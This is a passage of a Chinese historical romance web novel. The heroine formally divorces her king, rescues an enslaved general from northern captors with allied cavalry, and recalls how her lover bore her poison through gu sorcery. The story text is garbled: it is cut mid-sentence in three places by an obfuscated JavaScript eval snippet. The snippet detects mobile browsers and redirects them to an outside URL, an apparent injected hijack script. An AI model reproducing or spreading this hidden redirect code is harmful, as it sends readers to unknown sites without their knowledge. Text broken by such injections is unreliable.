成婚之后,她将那抹悸动的红、永远锁在不见光的角落,断情绝爱。把全副身心献与大翊,外辅国政、执掌中馈、开枝散叶,待他敬重、乖顺、温婉、关怀,像君父、像袍泽、像挚友、像亲人,却唯独不像夫婿。 全然不顾他想要的,是那个曾对他毫无保留、与他心有灵犀的阿七。因为给不了,所以只有忘记、只有忽略。 “两自不和,反目生嫌,无秦晋之同欢,有参商之别恨,六亲聚而成怨,九族见而含恨。” 他只想要一个阿七,可她早不是那个满心满眼只有他的阿七。他却仍习惯地不去了解她所思所想,性子又内敛端肃,所以他们从不曾坐下来,好好谈一谈、将话说开。 于是,他执拗地认为,他们之间所有问题的根源,是苻洵出现、她移情别恋。 于是,本就敏感多疑的他,最终被重重心事逼得癫狂,先不顾形势、执拗着虚置六宫,又将才不配位的褚氏阖族抬入中枢,她和褚氏全族皆被架上火堆,除了牢牢依附于他,孤立无援、无路可退、无处可去。 “既以二心不同,难归一意,遂会及诸亲,各还本道。解怨释结,更莫相憎。一别两宽,各生欢喜。” 和离书的下方空白处,“褚舜英”三个字旁边,深红的龙泉泥盖着元璟的钤印。 盖上钤印之前,元璟意味深长看着她说:“生死虽是大事,却也有一桩好处,你们不必再勉强维持举案齐眉,可以跳出原来的身份拘束,重新想想自己要走什么路。” “自后,夫则任娶贤妻,同牢延不死之龙,合卺契长生之奉。伏愿郎君千秋万岁。褚舜英谨于延光五年六月初二立。” 舜英举起酒杯,与对面轻轻碰杯,一饮而尽:“这一杯,给死在冰冷王座的山上雪、云中月。” 第二杯,对着东南遥遥一敬,一饮而尽:“这一杯,给死在宁皋山、丹河谷、龙兴楼、笠泽大营和龙川湖的阿七。” 第三杯,对着昇阳和武原城的方向敬了敬,舒臂、浇洒在地:“这一杯,给困死在婚姻囚笼的永平王与褚王后。” “我与阿洵之间不能隔着人命,所以,你可要好好活着。” 她慢慢站起身,将丝缎和酒壶酒杯留在原地,收拾好地毡和刀,面向梨林深处、端端正正躬身长揖,一字一字扬声高呼:“褚舜英拜别大翊永平王陛下。” “这一次,不是商议,是告知。” 期待过、失望过、爱过、恨过……所有情分已消磨殆尽,终究要互相放过。 . 荣都奉宁,又是桂香飘飞满城时。 飞花楼、醉花春包间,苻洵穿了一身海棠红雨丝锦,心不在焉看着台上歌舞。 揭开黑陶酒坛的泥封,清甜米酒带着甘醇微苦的桂花香。他小心翼翼双手托起坛身,将酒倒入敞口杯,倒得很慢、害怕弄洒哪怕一滴。 这是第五坛她亲手酿的桂花酒。 二十九坛桂花酿,去年生辰喝掉三坛,今年五月初十喝掉一坛。 喝一坛少一坛,苻洵情不自禁放缓速度,喝得更慢、更加仔细。 “我就说怎么从宫宴上早早溜走,敢情是跑这来喝好酒了”,帘幕拂动,沁人心脾的水泽草木香气越来越近,一袭淡蓝长袍在他对面坐下,“建业侯好雅兴。” “平南侯不是来探视王后的吗,怎么老盯着我?”苻洵挑了挑眉,“这酒,没你的份。” 元旭不以为意地笑了笑:“懂——尊夫人善酿酒,侯爷是来这儿睹物思人了。” 哪壶不开提哪壶,姓元的都是黑心种子。 苻洵闷闷地想着,不愿搭理他,没好气地说:“我要启程北上了,让一让。” 将杯中酒喝得一滴不剩,提起酒坛走了出去。 元旭目送他的背影远去,耸了耸肩:“让什么让?我又没拦着你。” 浓郁的兰麝香气传来,苏裳走进包间,单膝下跪抱拳道:“末将拜见平南侯,不知登临贱地有何吩咐?” “没别的事,就是跟你说声,可以撤了”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822318|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元旭温声道,“你的守护已结束,跟我回滬南去找你姐姐。” 苏裳愕然道:“结束了?首领她……” 元旭站起身,促狭地眨眨眼:“赶紧收拾东西跑路吧,她要来找你算账了。” 话音未落,帘子“哐当”一声被掀开,褚舜英慢悠悠地踱步进来:“天玑,你好大胆子。” “首领,一开始是我自己找来的,平南侯什么不知道……我发誓”,苏裳吓得肩膀一抖,说话都不利索了,“苻洵见过我姐,只有我去灵昌潜伏。后来不是为渝安济慈街的事嘛,我才找到平南侯……” “见过阿姊”,元旭忙躬身作揖,佯作懊恼地蹙眉,“糟了,晚了一步,人刚走。” “我刚才瞧见他出去了”,舜英反复打量着苏裳和元旭,转了话题,“你们手底下有多少武艺好的下属?全部借给我用用。” 元旭害怕地退了半步:“我不会武艺,你把护卫全抽走了,我怎么办?” “自己去长秋宫求你五姐姐庇护”,舜英把玩着手中短刀,磨得发亮的黄铜刀鞘,在她掌心旋转出花儿,“听说你每年都会抽空跟着粮草押运船来奉宁看她,这么有情有义的弟弟,她肯定护着你。” 元旭白皙的脸上透出薄红:“亲生的兄弟姐妹,就剩咱们俩,多看几眼心里踏实些。” 抬眸看着舜英,犹犹豫豫试探道:“阿姊,要不你还是别去阳华山烧那个……我以后称呼上肯定注意,反正苻洵那性子应该不怎么在意名份。他在意也没辙,死者为大嘛……” 见她转动刀鞘的速度慢了,又赶紧找补:“没别的意思,只是觉得四哥太孤单了。” “我瞎说的,师父怎么乱传话”,舜英轻快地笑了笑,扯回主题继续说,“手底下有多少人,借给我!” 元旭松了口气,目光停在她手中短刀上:“金乌武家?这刀哪来的?” 没等舜英回答,侍立在外的茶博士走进来,对着她单膝跪下:“夫人,王后娘娘有请。” “我?”舜英讶异地指着自己,“她怎么知道我来奉宁了?” 茶博士:“殿下不知道你何时来,五月份就命奴才守在这儿了,说是一见到建业侯夫人立即请进长秋宫,一刻不得耽搁。” . 元旭目送舜英远去的背影,眼神复杂:“她还跟十多年前一样,风风火火的、一刻不得闲。” “劳碌命,走到哪儿操心到哪儿”,苏裳叹了口气,“也不知这次又什么烂事要她收拾。” “我没看错,她果真一回来就又开始操心国事”,元旭笑容忽然黯淡下去,“这人与人之间啊……是缘是孽也难说,四哥人再好,不合适就是不合适,也无法可想。” 思索半晌,他又喟然长叹:“也不知他们俩怎么回事,刺杀着刺杀着居然扯一块儿去了,可惜苻洵不是翊人……罢了,阿姊再世为人不容易,活着就很好了,苻洵那儿随她高兴。反正之前那么多太后找面首,苻洵总比那些小白脸强太多。” 苏裳心念一动,饶有兴趣地问,“早几年不是都想将苻洵抽筋剔骨吗,这会儿怎么挺熟的样子?” 元旭眉头紧皱,叹气更响:“全靠衬托,四哥一过世,什么妖魔鬼怪都冒出来了,倒衬得这边兄弟俩没那么可恨。” 顿了顿又说:“荣国治下的翊东百姓过得挺好,其实大部分人憎恨苻洵,除了国仇家恨、更多还是恐惧和忌惮。可他已请旨抵御征伐异族,永世不再参与翊、荣两国战事。” “何况,眼下他是实施边垣之盟的主要战力,听大嫂说,好几次北宛攻打三军郡,苻洵都策应得很及时。” 苏裳叹气,摇摇头:“说到底还是利益,就是不知赶走北宛之后,这两国又当如何?” 元旭目露恻隐,垂眸沉吟,良久不再言语。 166. 遗民泪尽胡尘里 九月初八,苻洵坐在威远将军府的梅花树下,打开上次只喝了一杯的桂花酒,倒了一小碗,小口浅抿着,细细回味。 像是将他们在山中小楼的那几年,掰碎了,重新品尝一遍又一遍。 红底挑花绣的蝴蝶香囊,装进鱼跃龙门的白色玉佩,他珍惜地收在枕畔的匣子里,每天睡前和醒来拿出来看一看、摸一摸就放回去,不敢戴着它们冲上战场,怕万一有个损伤。 心脏毫无来由地越跳越快,越来越紧促有力,擂鼓似的噗通噗通,带着几分欢欣鼓舞。 这是每次离她很近时,才有的感觉。 是错觉吧,就跟上次中秋夜那回一样。 苻洵轻轻捂住心口,自嘲地苦笑:“你啊你,喝个她亲手酿的酒,就高兴成这样,没出息。” 同一时刻,舜英身穿北宛服饰,将风帽拉得严严实实,带着东拼西凑的四十多个人,牵着马站在将军府门口。 她手里拿着一只软木雕成的小狗,肚腹是空心的。先掏出短匕刺破指尖,滴了几滴血进去,又割下一绺头发、放进小狗肚腹,再拿出一块木楔,涂上浆糊将肚腹封严实。 奚寒低声嘀咕:“头发、指尖血,上好的驭魂术引子。” “我乐意”,舜英将小狗捧在手心,扯了扯狗耳朵,平静地说,“他爱拿去做什么,我都认了。” 然后将小狗递给郎琊:“这个够撑一段时间,悄悄放到他床头暗格里。” “多谢夫人顾念主子”,郎琊恭声道,“船和向导已安排好,纵使夫人不愿惊扰主子,也请允许卑职相送一程。” . 暮色乍起,舜英站在地皇山脉定安段,贴着高大树干掩饰身形,举起千里镜、望向蜿蜒细窄的峡谷间。 衣衫褴褛的民夫,被粗粝麻绳捆缚双手、牵成一串串,弓着脊背缓缓向南蠕动。他们将被驱赶到上阳郡,挖掘上阳郡与怀阳城之间的壕沟。 他们有男有女,有老有少,个个骨瘦如柴、鬓发蓬乱、满脸脏污和血痕。若有谁步子稍微跟不上,细而坚韧的马鞭呼啸而至,在他们近乎裸露的脊背上抽出血痕。 若有人因重伤或重病倒下,走不动路,马上会被长刀捅穿胸膛,再一脚踹到路旁的尸首堆里。 舜英率四十多个杂牌军,躲在山上守了一天,已过去五批民夫,最近的这批奴隶约有百来个,全是相对高大健康的青壮年。 内卫甲悄声道:“首领,从腿型和走路姿势看,是在马背上长大的,虽枯瘦佝偻了许多,瞧着还是像他。” 奚寒:“找到了?现在动手?” 内卫乙用看傻子的眼神瞟了他一眼:“前面好几座城池全是北宛驻军,就算在这里救下来也逃不出去。” 舜英摇摇头:“咱们先跟上,快到建兴城再说。” . 武煊低头走在队列中间,赤脚踩在粗粝的石头上、隔着厚厚老茧已感觉不到疼痛。北疆九月的风凛冽透骨,薄薄的麻衣已挡不住寒气,喉咙一阵干痒,他捂住嘴剧烈咳喘一阵,摊开手、掌心有零星血迹。 身体越来越虚了,前几年壮得像头牛,大冬天穿单衣在雪地野个一天一夜,毫发无损。 在奴隶堆里被苦役折腾了五年,身子差点也正常,能活着就不错了。 这些服苦役的奴隶,本是平阳、定安、武原三大盆地的平民、随军家眷,曾经的翊国子民。 五年前,冯栩攻下三大盆地后,占据临梁、地皇两山天险,稳稳当当守住了它们。所有原住民都成了奴隶,昼夜不休地耕种、纺线织布、开矿冶铁、打造兵器和铠甲、筑高城墙、深挖战壕…… 所有的气力、血肉都已耗尽,北宛驻军还要从他们骨髓里榨出最后一滴油。 武煊起先混在难民堆里被俘北上时,还满怀豪情壮志,想过刺探情报、里应外合或是煽动内乱,但北宛守兵警惕而严苛,宁可错杀一千不放过一个。 身边一个又一个人稍有异动,便被看守的北宛兵带走,等待他们的往往不是什么痛快的死法。 最常见的是捆在奔跑的马后拖死,用浸湿的牛皮包裹着晒死,还有绑在十字刑架上、一点点剜眼剁足开膛破肚…… 北宛人行刑时,往往会驱赶大批奴隶观看,杀一儆百。 杀人不过头点地,武煊前半生见识过最惨烈的刑罚——金州狱七十二酷刑,看起来也不及这般恐怖,毕竟金州狱的施刑对象是彪悍的土匪、而非手无寸铁的老弱妇孺。 听着那些震耳欲聋的哀嚎,看着那些血淋淋的人皮、七零八落的四肢和眼球舌头鼻子、黄的白的烂成一堆的尸骸,腥气腐臭熏得人呕吐不休。 但那些酷刑并未消磨他的心气,真正令他万念俱灰的,是同胞之间的离心离德。 冯栩支持难民互相告密,挖出潜藏在难民中的翊国军人和怀有异心的“乱民”,有时为一条捕风捉影的情报,不惜虐杀上百平民来逼问幸存者。 起先,藏在难民中的袍泽都硬气地撑着,都深信翊军会很快收复失地——就像永嘉一年三月、褚舜英率军夺回朔门关那样。可一年又一年,随着北宛的统治逐渐稳固,希望也一点点泯灭。 或是为了求生、或是为了痛快死去、或是为了阻止更多平民被杀,沦为奴隶的袍泽也加入了告密者行列。 但自始至终,他们都默契地保护着武煊、酷刑加身也没吐露关于他的半个字。 繁重的徭役、艰苦的衣食住行、时不时飞来的鞭子和拳打脚踢……日复一日,他也变得跟其他奴隶一样,麻木地苟延残喘,活下去的唯一指望,是有朝一日翊军重振旗鼓、收拾河山。 遗民泪尽胡尘里,南望王师又一年。 . 支撑武煊活下去的这一丝希望,来自于永嘉一年八月初,他与北宛女子桑珠的重逢。 初遇桑珠,是永嘉一年三月底,褚舜英率军北出朔门关后,武煊带着亲兵在乌兰山南麓巡逻。那时的乌兰山,积雪将化未化、正是最危险的时段。 夜晚,他们在一处避风的山坳安营扎寨。睡到半夜,他忽然听到微弱的婴儿哭声。 他叫醒几个关系好的武官,轻手轻脚循着哭声走上一道陡坡,发现被困在厚厚积雪深处山洞里的三个人。 老、妇、孺。 年轻女子一身鲜红长裙,有些单薄,抱臂缩在山洞一角,怀里抱着个嗷嗷待哺的婴儿。她身边还有个须发俱白的老者,身上裹着一件女式的裘氅,已冻得晕倒过去。 幸好,她不怕生,一见他们面带笑容,便条理清晰地阐述了来龙去脉。 “我叫桑珠,是北宛人,跟我刚出生的……儿子被仇家追杀,逃到翊国边境。孩子身子弱,幸好巧遇在乌兰山采药的老先生,靠他的药水维持性命至今。” “但是我们被暴风雪困在了这个山洞,老先生年事已高、支撑不住,孩子饿了一天两夜、性命垂危,望将军怜悯。” 武煊打量了他们半晌,相信了她的话。她虽是北宛人,那老者却明显不是,可如此寒冷的夜里,她却将身上仅有的御寒衣物给了素不相识的老者。 他相信她是个善良的人,于是将他们带回了营帐。这次出来带的物资很丰裕,一夜之后,三个人都活过来了,向他感谢和告别。 他们也要拔营继续前行,于是问他们有何安排。 桑珠说要带着孩子去昇阳投靠亲戚,战火四起、武煊不放心这对孤儿寡母独自远行行,想到褚舜英即将班师回朝,心念一动。 “我有个朋友,近期也要回昇阳,她人马很多,可以带你们一程。” 桑珠执意先送老先生回地皇山药庐,于是武煊安排两名亲兵护送他们到武原城,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826444|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把那柄随身佩戴、刻有武氏家徽的短刀送给桑珠,让她送老先生到家后、凭借此刀去临梁国公府找自己。 一去音讯两茫茫,他没有等到桑珠母子,却等到褚舜英刺杀苻洵失败、投身殒星崖的噩耗。 六月初,冯栩再度挥师南下。 挚友薨逝、兵连祸结,他再也没心思回想那一面之缘的三人。 直到八月初,建兴城将破的前夕,姜榷和武焕将城中尚有战力的千名精兵集结起来,嘱托武煊带领他们突围出去,与洺州军会合。 翻越地皇山时,他再次听到了那个熟悉的声音,他们正在不远处的密林中,向这南方奔逃。这次,除了抱着孩子的桑珠、老者,还多了个人。一个被披风裹得严严实实、仍能看出个子很高的男人,被绳子紧紧捆在老者背上。 武煊简直不能相信,这个须发俱白的老者力气这么大,背着比自己还高大的男人,还能在山地健步如飞。 北宛武卒营就在五里外紧追不舍,眼见就要搜到这边来了。武煊叹息一声,兵荒马乱的,这四个老残妇孺再是努力求生、也无济于事。 就在他准备转头继续行军时,老者背着的那个男人,风帽被树枝挂落,露出风帽下那张熟悉的脸。 宛如被一个惊雷劈中,武煊当即僵立在原地,片刻之后,他醒转过来,蓦然心绪翻涌、热血沸腾。 他当机立断做了决定。 他从跟来的一千精兵中,挑出武艺最强、最熟悉路况的一百个人,将最好的盔甲和武器留给他们,命令让他们护送桑珠一行人南下。 “就算死得一个不剩,也要拼着最后一口气,护送他们到目的地!” 随后,他与剩下的九百人散成几路,极其高调地一路丢盔弃甲、往其余方向逃去,为他们引开追兵。 那九百人……已经死得不剩几个了吧。 但是武煊觉得值,就算再搭进去自己这条命,也值! 只要那个人成功逃到安全的地方。 那个他自幼追随的主上、兄长,那个泰山崩于前而色不变、山穷水尽也能拓出一条大路的奇人。 他深信,不管那人是残了还是废了,只要还留有一口气,大翊就还有东山再起的希望。 . 武煊对上阳郡十分熟悉,这是父兄戍守了几十年的地方,除了在兴庆宫伴读的那几年,他几乎是在这儿长到十六岁的。 他对永乐山更熟悉,军队的体能训练需翻山越岭,翻的这座山就是永乐山。 近五年来,北宛与北翊在怀阳和建兴多次交战,永乐山的树林都东一块西一块被烧秃,像脑袋上丑陋的牛皮癣。但无论如何、大致的地势地形不会有所改变。 过建兴往东南有一条极短的峡谷,只够双人并肩同行,两边缓坡上的草十分茂盛,坡顶还长着不少树。武煊觉得这么好的地形,不设伏真是暴殄天物。 他看了看这批还算健壮的民夫,又瞥向那五十个带刀的押解步兵。心底暗想,如果给他们一人一把刀,有很大希望干掉押解队伍。 苦笑着摇摇头,自己又开始痴心妄想了?峡谷两端都有骑兵巡逻,能往哪儿逃? 天色暗了下来,押解兵高呼呵斥一声,民夫乖顺地听从命令坐下来,互相替对方解着手上绳子。然后开始发干粮,是炒粟米拌酸酪捏成团,每人分到半个拳头大小,能吃到三分饱、已是非常不错。 看来明天要开始卖大力气了。 武煊狼吞虎咽吃着,吃得太慢不仅会挨打,时间到了没吃完的食物还会被收走。 恍惚间,听到几声似曾相识的云雀叫声,长长短短在林间盘绕。他起初并未在意,山里有鸟叫再正常不过。 麻木地伸出手,开始互相替对方捆手。 动作蓦然一顿。 他听到了箭簇破空的尖啸声。 167. 割袍 武煊身体比脑子反应更快,下意识抱住旁边人贴地一滚,一簇滚烫血花溅到裸露的皮肤上。 他还没反应过来,就被人旱地拔葱一把薅起来,手中被塞进坚硬的物什。 熟悉的手感,是一把刀! 他精神一凛,几乎是不假思索地,一刀挥向捆缚双足的绳索,然后旋身砍向身边两名押解兵。 持刀在手,他又变回那威武不屈的武家六郎。 微弱的火光在山谷闪烁,借着火光,他看见四十个多身穿黑色短打的人,将峡谷挤得满满当当,背箭持弓的、搏杀押解兵的、挥刀砍断绳索的、正将兵器塞到民夫手里的…… 耳畔响起熟悉的清亮女声,断然高呼:“大翊的子民!站起来!拿刀宰了这些异族禽兽!” 武煊身躯一僵,难以置信地回首看去,鼻子一酸、难以自抑地流下两行热泪:“你是人是鬼?” “鬼!”舜英不假思索走近他,与他背对背紧挨着站在一起,“冲出去,河边有人接应。” 武煊立即反应过来,点头轻声道:“好,拼了。” “兄弟们,北宛人待我们还不如猪狗,与其继续卖命,不如拼了!” 他一边振臂高呼,一边与舜英互相掩护,挤到队列前方,身后的人从麻木到震惊,逐渐回过神来,队尾的步兵挥刀欲砍杀民夫,被手持白刃的民夫躲过,另一个民夫立刻持刀捅进那北宛兵腹部。 “反正早晚都是个死,拼了!” “脑袋掉了碗大个疤,倒落得痛快,拼了!” 怀阳城西,褚舜英和武煊带领四十多人杂牌军、上百民夫一路砍杀到伊河边,愣住了。 浊黄河水无声流淌、平静得没有一丝涟漪,空空如也,并未见到郎琊安排的渡船。 方才暴乱已惊动建兴城守军、怀阳城西巡逻的骑兵,隔得老远就听到建兴城集结兵马的号角声,而怀阳的方向、火把连缀成熊熊火龙,飞速向这边驶来。 舜英扫视了一瞬周围境况,心急如焚。 不过片刻,巡逻的北宛骑兵已距离他们不足三里,须臾即将抵达。他们这一百多人,还不够马蹄踩个来回。 火光照亮了黑夜,急促的马蹄声狂奔而来,密集如雨,轰鸣如雷。 舜英和武煊不禁往西边连连后退。 一直安静漆黑的西边,突然腾起一道亮光、紧接着一道又一道火光冲天而起,将他们身后映得一片通红。 通红火光映照之下,铁塔般幽沉的高大身影,包着玄色铁甲的武士、骑乘骨架高大的健马,清脆的铁甲摩擦声、沉重的铁蹄踏地声,带着强悍的压迫力,一步一步逼近,像巨雷滚碾、震得大地都在晃动。 传闻中的荣国玄甲营! 众人正惊疑不定,身后传来熟悉的呼喊:“都上马!” 是郎琊! 无数马匹的嘶鸣如沸,从玄甲营身后传来。 舜英愕然回首,动地而来的玄甲营幽光闪闪,自中间分开道路,从那片森冷的铁光中,冲出近两百匹高头大马。 “武煊,自己人,上马!” 借着火光,武煊已瞥见旌旗上的“荣”字,错愕了一瞬,但形势已不容他多想,高声呼喊:“自己人,上马!” 这百来个民夫,部分是北疆土生土长、部分是落难骑兵,大部分都会骑马,当即不再迟疑,纷纷扯住缰绳纵身跃起、骑上马背,并顺势一勒缰绳,控住健马。 玄甲营背后冲出上百名弓弩手,从他们身边飞驰而过,同时拉弓引弦、箭矢如雨射向怀阳方向狂奔而来的北宛骑兵。 紧跟着,玄甲营骑兵手执长枪,不疾不徐行过他们身边、将他们护在身后,传令兵高呼:“冲锋!” 武煊心领神会,热血沸腾地举起长刀,振臂高呼:“跟紧前方重骑兵,冲锋!” 马蹄声纷乱地敲击着干硬地面,杂乱无章似稠密的雨点,速度越来越快、越来越快,耳畔呼啸的风声越来越响,短兵相接的脆响、铁器刺入□□的噗呲声、刀锋刮过骨骼的摩擦声…… 一路冲杀、一场酣战。 天边露出鱼肚白时,玄甲营掩护着武煊一行人冲出与北宛骑兵的混战,一路向东驰骋。 片刻不停地狂奔,直到马匹口吐白沫,大腿内侧被马鞍磨得血肉模糊,再也无以为继、才堪堪停住奔逃的脚步。 武煊伤病交加,双腿再也坚持不住,身子晃了晃栽下马背。电光火石间,舜英赶紧从马背上一跃而下、旋风似的贴地冲过去,在他即将撞到地面的刹那、拦腰扶住了他。 轻飘飘的,没有想象中的瓷实。 西斜的日光照在褴褛的血衣上,往昔那个意气风发的少年将军,已只剩一把虚弱佝偻的皮包骨。 “武六,前面就是怀阳,咱们安全了。”舜英脱下大氅裹在他身上。 透过弥漫的昏黄烟尘,前方伤痕累累的城门上,錾刻的字迹已残缺——怀阳。 一路护送断后的玄甲营也停下来,铁甲哗啦作响,方阵如水般分开、从中让开一条路,位于中军的主将缓缓驱马而来,对武煊躬身抱拳。 “末将南宫羽,奉边垣之盟,遵威远将军苻洵之军令,前来救援盟国临梁郡公。幸不辱使命,送君千里终有一别,告辞!” 语罢再不多言,归队中军,玄甲营纷纷调转马头向南,朝着伊河扬鞭远去。 舜英将武煊交给同行的男卫兵,站起身看着玄甲营远去的方向,慢慢伸出手去,唇角轻轻扬起一丝微笑。 马蹄激起的烟尘里,混着淡淡的甘甜木香。 . 卫兵将随身携带的干粮碾碎后泡在水里、给武煊喂下,又喂给他几口水。武煊呛咳了几声,慢慢缓过来精神,撑开眼皮,唇角挂着笑、泪眼汪汪地看着她。 “殿下,你还活着真是太好了,跟你说个事,有个叫桑珠……” 舜英眼疾手快往他嘴里塞进个炊饼,从卫兵怀中拽起他,连扶带架、往人少的地方走去。 “我正是从桑珠那顺藤摸瓜,才找到你的”,舜英看着他大口啃着又冷又硬的炊饼,心酸不已,将拧开盖的水壶递给他,“慢点吃,别噎着了。” “陛下眼下受伤很重,我正在想法子助他尽快恢复。眼下各国局势复杂,为避免横生枝节,他完全恢复之前,一定要严防此事泄密。” “还是你想得周到”,武煊长舒一口气,点点头,忽然疑惑地问,“殿下当初不是去刺杀苻洵么?怎么又跟荣国玄甲营搅和到一起了?你这些年怎么过来的,苻洵没伤害你吧?” 舜英笑了笑:“为了共御异族,由南翊冯太后牵头,重启了边垣之盟,眼下南翊、北翊和荣国算是盟国。” “边垣之盟?那玩意儿真的存在?”武煊睁大双眼,忽然一愣,“你为什么叫她冯太后?” 舜英答非所问:“武六,你既已逃出生天,两条路自己选,南下阊江、或是北上宛平?” 武煊收了满脸讶异,佝偻的身躯缓缓站直,望向北面、神色凛冽而郑重,一字一字肃声道:“不灭北宛,誓不为人!” 舜英点点头,一拳擂在他肩膀上:“好,那就去宛平,与三郡二州将士一起,驱逐北宛、收复中原河山。” “好,咱们还跟以往一样,并肩驰骋沙场”,武煊畅想着,笑容越来越灿烂,恍惚还是多年前那耀眼的少年将星,“等四哥恢复了,咱们三个人一定所向披靡。” 舜英转头扬声道:“奚寒,带着平南侯的专使符节,去城门找霍修!” 武煊的笑容凝固了:“什么意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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武煊愣住了,垂下眼眸、瞳仁转来转去,忽然惊恐地抬头,三步并作两步追过去:“永平王?冯太后?你现在都这么叫了。说清楚,你们究竟怎么回事?还有你怎么跟苻洵扯一块去了,你是不是要去荣国?你想叛国吗?” “褚舜英,你站住!” 舜英没有站住,甚至步速也并未放缓,武煊急怒攻心、一掌拍向她肩膀。舜英头也没回,反手抓住他胳膊、一个过肩摔将他撂在地上:“让你冷静想想再答,非要打架是吗?” 武煊身体仍虚着,被撂倒后久久爬不起来,愤怒地拍打地面:“有什么好想的?褚舜英,你当年发的重誓,对四哥刀山火海、至死不渝,都喂到狗肚子里去了?” 舜英冷笑:“就算是卖给他作奴隶,我也已经殉过一次国、死过一次了,这条捡回来的命不再属于他!我来救的,也不是他忠诚的追随者,而是我的发小、我并肩作战的袍泽、一心抵抗异族的良将!” 说罢转身就要走。 武煊挣扎了几次爬不起来,气喘吁吁怒声道:“你今天要是过了伊河,我就当没认过你这个兄弟!” “随你”,舜英回身拉他起来,眼里满是疲惫和失望,唇角笑意像凛冽刀锋,“吾平生所为,未尝有不可告人者。” 武煊被她说得噎住,唇角剧烈抽搐着,气血翻涌间、霍然抽出长刀,旋身割下衣角掷向她:“我这条命是你救的,这两天的事我不会对外透露半分,但从今往后,你我桥归桥、路归路!” 舜英笑容不变,接过那段裂帛,斜睨着武煊:“所以,再久的情分和再多的功业,都比不上褚王后这一身份?” “那你记着,昨夜来救你的,是平南侯亲随奚寒与属下侍卫,至于我——” 她缓缓松手,看着那段裂帛轻飘飘坠落,笑意越来越玩味和讽刺。 “褚王后已死!” “从今往后,褚舜英只忠于自己。” 抬脚从裂帛上跨过,头也不回地翻身上马,扬鞭向伊河飞驰而去。 她翻身上马时扬了扬手,雪白的纸屑纷纷扬扬像是下了一场雪,那是被她撕成碎屑的一本书。武煊目送她走远后,拾起较柔韧未被扯碎的封皮,瞥了一眼后愣住了。 泛黄的棉连纸,正中写着四个大字——“英烈本纪”。 168. 胜却人间无数 洛京相见欢客栈,院中桂树还残留着淡淡花香。舜英提着一瓶青梅酒,纵身跃上桂花树,斜靠枝桠倚着,就着十月的冷风,有一搭没一搭地喝着。 她闭上双目,耳畔回荡着几个月前、与蛊王娜莎的对话。 “独活乃蛮疆至毒,唯金蝉可拔,但若以指尖血豢养金蝉,往往数年才成……有速成之法,直接将蛊虫放入胸膛,以心头血豢养。” “快是快、却很疼,听你说来,他仅仅两月就炼成金蝉,必定是短期内以大量心头血供养。整个过程,他时刻都会承受噬心之痛,失败的概率也很大。” “如果失败,全身精血会被顷刻吸干,极其痛苦地死去。” “蛮疆蛊毒、浸染越深毒性越强,当时你身上的毒已入骨髓,若只以金蝉拔除毒素、使其逸散体外,短期内根本不可能拔干净,除非是拔除后,大部分毒素有新的宿体可栖息。” 当时,舜英问:“也就是说,所谓替我拔毒,实际上是诃那将大部分毒素转移到自己身上?那他如今……” 娜莎眼睛一亮:“巧了,诃那是千锤百炼的圣子之躯,又以心脉豢养金蝉,康健之时可压制独活不蔓延,再以焉酸草配合金蝉,慢慢将毒消解和逸散出去。” 舜英心念一动:“毒素转移宿体,还需要什么条件?” 娜莎道:“普通人之间不需要,但诃那需要。蛊毒趋利避害,会本能远离圣子之躯和金蝉,除非……” “除非怎样?” “第一种,由蒙舍王施加禁制,再将他放血,使他虚弱、使金蝉昏迷——圣子圣女神庙受封时便是如此种蛊。” “第二种嘛”,娜莎意味深长注视着她,“虽说众生平等,但有些蛊或毒、能将二人性命变得不平等,譬如舍身蛊、譬如集情蛊之大成者——剧毒‘相思’。” “他心甘情愿喝下你喂的‘相思’,单向契约便已缔结。你为主、他为从,水往低处流,若你需要、他全身血肉皆可奉献于你,此契约包含了‘心’的力量,强大到可压制蛊虫本性。” 说到这儿,娜莎眼睛发亮:“诃那果真聪明,环环相扣,这么刁钻的法子都能想出来。” “先以相思为媒、抽走你身上的独活,再用金蝉和焉酸草消解毒素。金蝉消解毒素和修补伤口,都会吞噬他的心头血补养,令他痛楚难耐。此时,相思就体现出好的一面了。” 她眉眼带着暧昧的笑,压低声音:“他是你的情郎,你们多亲近些,相思令他欢愉,自然可抵消金蝉噬心之痛。” 舜英心跳一突,惊惧抬眸:“若我弃他而去,会如何?” 娜莎笑容消失,害怕地盯着她,许久才缓缓开口。 “他肯定会活活疼死。” . 舜英抿了几口微酸的酒,眼前逐渐晃出重影,她侧头看向地面,恍惚地笑了。 十七年前,她背着苻洵走进这家客栈,心疼地一点点替他上药,抱住他、有生以来第一次发誓:“有我在,没人能伤害你。” 那是她在兴庆宫、元氏宗族的小圈子外,认识的第一个朋友,与之前的那些人都不同:新奇、鲜亮、不必谨言慎行、可以敞开心扉。也是她第一次知晓,人与人在仰慕和臣服、感恩与追随之外,还可以有另外的情感:平等、自由。 五年前,苻洵在树下挖出个长四尺、宽两尺的深坑,将那对分别叫“飞星”和“纤云”的刀封存木盒,永远埋葬。 那时候,金蝉正吞噬着他的心头血,暴戾而疯狂,此痛无处可消解。 那颗炙热跳动的心脏,为了救她性命、承受着利刃穿心之痛,豢养出一只金蝉。然后,在准备替她拔毒的前夕,真被她用利刃捅了个对穿。 缘起,缘灭。 